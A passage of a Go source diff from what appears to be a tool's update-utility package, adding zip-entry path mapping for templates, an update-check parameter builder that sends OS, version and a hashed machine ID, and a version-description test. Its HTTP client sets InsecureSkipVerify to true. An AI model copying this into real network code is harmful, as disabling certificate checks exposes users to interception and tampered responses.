error) { + directory, fileName := filepath.Split(zipFilePath) + + if !strings.EqualFold(fileName, ".version") { + if strings.TrimSpace(fileName) == "" || strings.HasPrefix(fileName, ".") || strings.EqualFold(fileName, "README.md") { + return "", true, nil + } + } + + var ( + directoryPathChunks []string + relativeDirectoryPathWithoutZipRoot string + ) + if folderutil.IsUnixOS() { + directoryPathChunks = strings.Split(directory, string(os.PathSeparator)) + } else if folderutil.IsWindowsOS() { + pathInfo, _ := folderutil.NewPathInfo(directory) + directoryPathChunks = pathInfo.Parts + } + relativeDirectoryPathWithoutZipRoot = filepath.Join(directoryPathChunks[1:]...) + + if strings.HasPrefix(relativeDirectoryPathWithoutZipRoot, ".") { + return "", true, nil + } + + templateDirectory := filepath.Join(configuredTemplateDirectory, relativeDirectoryPathWithoutZipRoot) + + if err := os.MkdirAll(templateDirectory, os.ModePerm); err != nil { + return "", false, fmt.Errorf("failed to create template folder: %s. %w", templateDirectory, err) + } + + return filepath.Join(templateDirectory, fileName), false, nil +} + +// GetpdtmParams returns encoded query parameters sent to update check endpoint +func GetpdtmParams(version string) string { + params := &url.Values{} + params.Add("os", runtime.GOOS) + params.Add("arch", runtime.GOARCH) + params.Add("go_version", runtime.Version()) + params.Add("v", version) + params.Add("machine_id", buildMachineId()) + return params.Encode() +} + +func buildMachineId() string { + machineId, err := machineid.ProtectedID("pdtm") + if err != nil { + return "unknown" + } + return machineId +} + +func init() { + DefaultHttpClient = &http.Client{ + Timeout: VersionCheckTimeout, + Transport: &http.Transport{ + Proxy: http.ProxyFromEnvironment, + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + } +} diff --git a/pkg/update/utils_test.go b/pkg/update/utils_test.go new file mode 100644 index 0000000..5706144 --- /dev/null +++ b/pkg/update/utils_test.go @@ -0,0 +1,46 @@ +package updateutils + +import ( + "github.com/fatih/color" + "testing" +) + +func TestGetVersionDescription(t *testing.T) { + color.NoColor = true + tests := []struct { + current string + latest string + want string + }{ + { + current: "v2.9.1-dev", + latest: "v2.9.1", + want: "(outdated)", + }, + { + current: "v2.9.1-dev", + latest: "v2.9.2", + want: "(outdated)", + }, + { + current: "v2.9.1-dev", + latest: "v2.9.0", + want: "(development)", + }, + { + current: "v2.9.1", + latest: "v2.9.1", + want: "(latest)", + }, + { + current: "v2.9.1", + latest: "v2.9.2", + want: "(outdated)", + }, + } + for _, test := range tests { + if GetVersionDescription(test.current, test.latest) != test.want { + t.Errorf("GetVersionDescription(%v, %v) = %v, want %v", test.current, test.latest, GetVersionDescription(test.current, test.latest), test.want) + } + } +}